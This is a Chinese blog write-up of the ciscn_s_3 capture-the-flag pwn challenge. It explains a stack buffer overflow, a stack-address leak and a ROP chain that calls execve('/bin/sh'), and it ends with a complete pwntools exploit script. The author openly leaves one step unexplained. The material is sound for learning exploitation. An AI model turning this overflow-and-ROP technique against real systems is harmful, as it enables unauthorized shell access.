【CTF】【PWN】ciscn_s_3题解

前置知识:
64位系统:
传参方式:首先将系统调用号 传入 rax,然后将参数从左到右依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器
调用号:sys_read 的调用号为0,sys_write 的调用号 为1
stub_execve 的调用号为59,stub_rt_sigreturn 的调用号为15
调用方式: 使用 syscall 进行系统调用
首先惯例checksec一下。发现NX保护开了。
在这里插入图片描述
用IDA打开文件之后返现main函数里面套了一个vuln函数。跟进去查看如下
在这里插入图片描述
tab转汇编之后可以看到vuln函数的汇编代码如下
在这里插入图片描述
vuln函数通过rax和自身的异或,使得rax寄存器里的内容为0(也就是read的系统调用号)。然后通过对rdx,rsi和rdi的赋值。得到了下面的结果:read(rdi,buf,0x400),然后在进行syscall。同理,下面得到的结果是write(rdi,buf,0x30)。其中buf的大小为0x10.
这里很明显有一个溢出漏洞,buf的大小为0x10.但是read和write的操作大小为0x400和0x30.也就是说,通过我们的输入,可以溢出0x20大小的栈内容。

继续分析,发现有一个gadgets函数。
在这里插入图片描述
跟进之后发现这一行汇编代码:mov rax,3BH。3Bh转换成十进制是59.59是
execv的系统调用号。
那么我们的思路就很明显了。构造execv(‘/bin/sh’,0,0),再通过syscall执行execv。布局如下:
rax=59;rdi=’/bin/sh’;rsi=0,rdx=0.最后进行syscall。

首先我们通过第一个payload泄露/bin/sh的地址。因为buf大小为0x10。所以我们构造的payload应该像这样:
](https://img-blog.csdnimg.cn/3c029473d72f4f9cb1aa31ab8635b971.png)
我们为了得到/bin/sh的地址,先要想办法计算偏移。

我们先在等待输入的时候输入aaaa,然后search aaaa。
在这里插入图片描述
得到了我们输入字符串的地址,查看地址之后得到如下结果:
在这里插入图片描述
可以看到我们输入的aaaa所在地址为dcf0
在这里插入图片描述
刚进入的时候的RSI存的是栈地址。也就是offset=0xde18-0xdcf0=0x128.发现就是在我们输入aaaa后泄露的dd10地址就是我们要找的栈地址。

send payload之后,我们先recv0x20大小的内容,然后后面的8字节内容-0x128便是我们输入的/bin/sh所在地址,如下:
在这里插入图片描述
接下来便是构造execv的参数。
在这里插入图片描述
汇编语言里没有找到对rdx,rsi,rdi进行直接操作的代码,但是有上面这段先对r13,r14,r15进行赋值,然后将值传递给相应寄存器的代码。
既然我们要把rdx,rsi设置为0,就要把r13,r14设置为0.r15设置为/bin/sh
在这里插入图片描述
但是有一点我不是很明白,就是为什么r12要赋值为bin_sh_addr+0x50,如果是需要一个返回接下面操作,为什么不直接找一个retn呢?这点有待探究。
完整WP如下:`from pwn import *
from LibcSearcher import *
#r=remote(‘node4.buuoj.cn’, 27543)
r=process(‘a’)
elf=ELF(’./a’)
#context.log_level=‘debug’
#context.terminal = [‘tmux’,‘splitw’,’-h’]
#gdb.attach(proc.pidof®[0],gdbscript=“b main”)
main=0x0004004ed
execv=0x0004004e2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdx_r13_call=0x400580
sys=0x400517
ret_addr=0x00000000004003a9
payload=’/bin/sh\x00’*2+p64(main)
r.sendline(payload)
r.recv(0x20)
bin_sh_addr=u64(r.recv(8))-0x128
print(hex(bin_sh_addr))
xxx=0x4004e2
payload=’/bin/sh\x00’+‘a’*8
payload+=p64(pop_rbx_rbp_r12_r13_r14_r15)

payload+=p64(0)*2
payload+=p64(bin_sh_addr+0x50)
payload+=p64(0)*3
payload+=p64(mov_rdx_r13_call)+p64(execv)

payload+=p64(pop_rdi)+p64(bin_sh_addr)+p64(sys)

payload+=p64(main)
r.send(payload)
r.interactive()`
参考了很多师傅的WP,还有一点就是,我本地程序offset是0x128,但是打远程的时候只有0x118能打通,可能是远程出错了?

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值